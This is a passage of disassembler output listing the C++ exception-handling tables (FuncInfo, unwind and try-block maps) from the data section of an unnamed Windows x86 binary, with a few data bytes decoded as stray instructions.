0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448E8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o dd offset dword_437D54+1D2h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF32 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0B1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A568 dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh dd 43A623h, 0Fh, 43A631h, 4 dup(0) dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0 dd offset loc_43A69B dd 1, 43A6A6h, 0 dd offset loc_43A6B1 dd 0 dd offset loc_43A6BC dd 0 dd offset loc_43A6C7 dd 0 dd offset loc_43A6D2 dd 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 9, 43A6FEh, 0 dd offset loc_43A709 dd 0 dd offset loc_43A714 dd 0 dd offset loc_43A71F dd 0 dd offset loc_43A72A dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh dd 0 dd offset loc_43A799 dd 0 dd offset loc_43A7A4 dd 0 dd offset loc_43A7B2 dd 0 dd offset loc_43A7C0 dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0 dd offset loc_43A7E1 dd 1Dh, 43A7ECh, 0 dd offset loc_43A7F7 dd 1Fh, 43A802h, 0 dd offset loc_43A80D dd 0 dd offset loc_43A818 dd 0 dd offset loc_43A823 dd 0 dd offset loc_43A82E dd 0 dd offset loc_43A839 dd 25h, 43A844h, 26h, 43A84Fh, 0 dd offset loc_43A84F dd 28h, 43A844h, 0 dd offset loc_43A85A dd 0 dd offset loc_43A865 dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0 dd offset loc_43A87B dd 2Eh, 43A870h, 2Eh, 43A886h, 0 dd offset loc_43A891 dd 31h, 43A89Ch, 0 dd offset loc_43A8A7 dd 0 dd offset loc_43A8B2 dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0) dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0) dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0) dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0 dd offset loc_43A9B8 dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0) dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0 dd offset loc_43AA18 dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0) dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0) dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0 dd offset loc_43AAE8 dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9 dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h dd 4 dup(0) dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0 dd offset loc_43AB90 align 10h dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0 dd offset loc_43ABD8 dd 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0) dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0 dd offset loc_43BF9B align 10h dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0) dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0 dd offset loc_43BFF7 dd 1, 43BFFFh, 2 dup(0) dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0) dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0 dd offset sub_43C040 dd 0 dd offset loc_43C05F dd 2, 43C067h, 2 dup(0) dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh dd 43C0B8h, 2 dup(0) dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0 dd offset loc_43C0EB dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0) dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0 dd offset loc_43C278 dd 1, 43C283h, 2, 43C28Eh, 2 dup(0) dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0 dd offset loc_43C2B8 dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0) dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0 ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0) dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 43h dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0) dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0) dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh dd 43C420h, 2 dup(0) dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0) dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0 dd offset loc_43C488 dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0) dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442548h, 4 dup(0) dd offset loc_41EF2C align 10h dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0 dd offset loc_43C52B dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0) dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0 dd offset loc_43C5C8 dd 2 dup(0) dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h dd 2 dup(0) dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0) dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0 dd offset loc_43C64B align 10h dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0 dd offset loc_43C67B dd 0 dd offset loc_43C683 dd 0 dd offset loc_43C68B dd 3, 43C693h, 4, 43C69Bh, 0 dd offset loc_43C6A3 dd 6, 43C6ABh, 7, 43C6B3h, 0 dd offset loc_43C6BB dd 9, 43C6C3h, 0Ah, 43C6CBh, 0 dd offset loc_43C6D3 dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0 dd offset loc_43C6EB dd 0Fh, 43C6F3h, 0 dd offset loc_43C6FB dd 11h, 43C703h, 0 dd offset loc_43C70B dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0) dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0) dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0) dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0) dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0) dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0) dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh dd 43C8E0h, 